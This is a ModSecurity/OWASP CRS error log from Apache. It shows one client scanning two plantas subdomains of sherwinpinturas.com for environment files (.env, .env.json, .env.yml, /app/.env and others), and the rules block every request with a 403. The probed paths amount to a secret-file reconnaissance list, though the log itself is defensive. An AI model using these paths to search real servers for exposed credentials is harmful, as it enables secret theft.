[Mon Oct 26 02:13:20.151526 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgJMnyYq70WIUET3r5QAAABc"]
[Mon Oct 26 02:13:20.151754 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgJMnyYq70WIUET3r5QAAABc"]
[Mon Oct 26 02:13:20.412761 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgJMnyYq70WIUET3r5gAAABc"]
[Mon Oct 26 02:13:20.413007 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgJMnyYq70WIUET3r5gAAABc"]
[Mon Oct 26 02:13:20.413372 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgJMnyYq70WIUET3r5gAAABc"]
[Mon Oct 26 02:13:20.503503 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgMsSJ_JPXSgPpTUB6QAAAA4"]
[Mon Oct 26 02:13:20.503763 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgMsSJ_JPXSgPpTUB6QAAAA4"]
[Mon Oct 26 02:13:20.530140 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7vgMsSJ_JPXSgPpTUB6QAAAA4"]
[Mon Oct 26 02:13:20.625810 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgJMnyYq70WIUET3r5wAAABc"]
[Mon Oct 26 02:13:20.721967 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgJMnyYq70WIUET3r5wAAABc"]
[Mon Oct 26 02:13:20.722329 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgJMnyYq70WIUET3r5wAAABc"]
[Mon Oct 26 02:13:20.748067 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgMsSJ_JPXSgPpTUB6gAAAA4"]
[Mon Oct 26 02:13:20.748243 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgMsSJ_JPXSgPpTUB6gAAAA4"]
[Mon Oct 26 02:13:20.748462 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7vgMsSJ_JPXSgPpTUB6gAAAA4"]
[Mon Oct 26 02:13:21.147737 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgcsSJ_JPXSgPpTUB6wAAAA4"]
[Mon Oct 26 02:13:21.147979 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgcsSJ_JPXSgPpTUB6wAAAA4"]
[Mon Oct 26 02:13:21.148264 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgcsSJ_JPXSgPpTUB6wAAAA4"]
[Mon Oct 26 02:13:21.149412 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgZMnyYq70WIUET3r6AAAABc"]
[Mon Oct 26 02:13:21.149551 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgZMnyYq70WIUET3r6AAAABc"]
[Mon Oct 26 02:13:21.149811 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7vgZMnyYq70WIUET3r6AAAABc"]
[Mon Oct 26 02:13:21.361497 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgZMnyYq70WIUET3r6QAAABc"]
[Mon Oct 26 02:13:21.361771 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgZMnyYq70WIUET3r6QAAABc"]
[Mon Oct 26 02:13:21.362112 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgZMnyYq70WIUET3r6QAAABc"]
[Mon Oct 26 02:13:21.368364 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgcsSJ_JPXSgPpTUB7AAAAA4"]
[Mon Oct 26 02:13:21.368514 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgcsSJ_JPXSgPpTUB7AAAAA4"]
[Mon Oct 26 02:13:21.368768 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7vgcsSJ_JPXSgPpTUB7AAAAA4"]
[Mon Oct 26 02:13:21.576060 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgZMnyYq70WIUET3r6gAAABc"]
[Mon Oct 26 02:13:21.576356 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgZMnyYq70WIUET3r6gAAABc"]
[Mon Oct 26 02:13:21.576667 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgZMnyYq70WIUET3r6gAAABc"]
[Mon Oct 26 02:13:21.583920 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7QAAAA4"]
[Mon Oct 26 02:13:21.584107 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7QAAAA4"]
[Mon Oct 26 02:13:21.584350 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7QAAAA4"]
[Mon Oct 26 02:13:21.792742 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgZMnyYq70WIUET3r6wAAABc"]
[Mon Oct 26 02:13:21.793003 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgZMnyYq70WIUET3r6wAAABc"]
[Mon Oct 26 02:13:21.793287 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgZMnyYq70WIUET3r6wAAABc"]
[Mon Oct 26 02:13:21.802163 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7gAAAA4"]
[Mon Oct 26 02:13:21.802364 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7gAAAA4"]
[Mon Oct 26 02:13:21.802587 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at7vgcsSJ_JPXSgPpTUB7gAAAA4"]
[Mon Oct 26 02:13:22.012247 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at7vgpMnyYq70WIUET3r7AAAABc"]
